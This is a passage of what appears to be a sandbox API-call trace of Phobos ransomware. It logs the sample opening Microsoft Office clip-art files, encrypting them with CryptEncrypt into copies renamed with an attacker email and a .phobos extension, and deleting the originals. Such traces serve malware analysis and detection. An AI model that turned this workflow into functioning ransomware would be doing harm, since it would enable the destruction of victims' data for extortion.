dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.048] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.048] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.048] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0061.048] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.048] ReadFile (in: hFile=0x300, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x68c, lpOverlapped=0x0) returned 1 [0061.055] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x690, dwBufLen=0x690 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x690) returned 1 [0061.055] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x690, lpOverlapped=0x0) returned 1 [0061.056] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dca50) returned 1 [0061.056] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.056] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.056] CryptDestroyKey (hKey=0x10dca50) returned 1 [0061.056] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.056] CryptDestroyKey (hKey=0x10dc750) returned 1 [0061.056] CloseHandle (hObject=0x300) returned 1 [0061.056] CloseHandle (hObject=0x328) returned 1 [0061.057] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0061.057] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.058] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3796) returned 1 [0061.058] CloseHandle (hObject=0x328) returned 1 [0061.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0061.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.058] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.059] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.059] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0061.059] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.059] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xed4, lpOverlapped=0x0) returned 1 [0061.205] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xee0, dwBufLen=0xee0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xee0) returned 1 [0061.206] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xee0, lpOverlapped=0x0) returned 1 [0061.207] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc710) returned 1 [0061.207] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.207] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.207] CryptDestroyKey (hKey=0x10dc710) returned 1 [0061.207] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.207] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0061.207] CloseHandle (hObject=0x328) returned 1 [0061.207] CloseHandle (hObject=0x300) returned 1 [0061.208] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0061.209] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.215] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2436) returned 1 [0061.215] CloseHandle (hObject=0x2fc) returned 1 [0061.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0061.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.215] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.216] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.217] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb90) returned 1 [0061.217] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.217] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x984, lpOverlapped=0x0) returned 1 [0061.220] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x990, dwBufLen=0x990 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x990) returned 1 [0061.220] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x990, lpOverlapped=0x0) returned 1 [0061.221] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dccd0) returned 1 [0061.221] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.221] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.221] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0061.222] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.222] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0061.222] CloseHandle (hObject=0x2fc) returned 1 [0061.222] CloseHandle (hObject=0x330) returned 1 [0061.223] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0061.224] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.226] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7176) returned 1 [0061.226] CloseHandle (hObject=0x330) returned 1 [0061.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0061.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.226] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.226] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.227] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0061.227] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.227] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1c08, lpOverlapped=0x0) returned 1 [0061.243] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1c10) returned 1 [0061.243] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1c10, lpOverlapped=0x0) returned 1 [0061.245] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0061.245] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.245] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.245] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.245] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.245] CryptDestroyKey (hKey=0x10dc690) returned 1 [0061.245] CloseHandle (hObject=0x330) returned 1 [0061.245] CloseHandle (hObject=0x2fc) returned 1 [0061.246] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0061.247] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.248] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=14996) returned 1 [0061.248] CloseHandle (hObject=0x2fc) returned 1 [0061.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0061.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.248] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.248] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.249] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc8d0) returned 1 [0061.249] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.249] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3a94, lpOverlapped=0x0) returned 1 [0061.254] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3aa0) returned 1 [0061.254] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3aa0, lpOverlapped=0x0) returned 1 [0061.255] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc790) returned 1 [0061.255] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.255] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.255] CryptDestroyKey (hKey=0x10dc790) returned 1 [0061.255] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.256] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0061.256] CloseHandle (hObject=0x2fc) returned 1 [0061.256] CloseHandle (hObject=0x330) returned 1 [0061.257] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0061.258] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.258] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3948) returned 1 [0061.258] CloseHandle (hObject=0x330) returned 1 [0061.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0061.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.259] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.259] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.259] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0061.259] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.259] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xf6c, lpOverlapped=0x0) returned 1 [0061.292] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xf70, dwBufLen=0xf70 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xf70) returned 1 [0061.292] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf70, lpOverlapped=0x0) returned 1 [0061.292] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc650) returned 1 [0061.293] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.293] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.293] CryptDestroyKey (hKey=0x10dc650) returned 1 [0061.293] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, 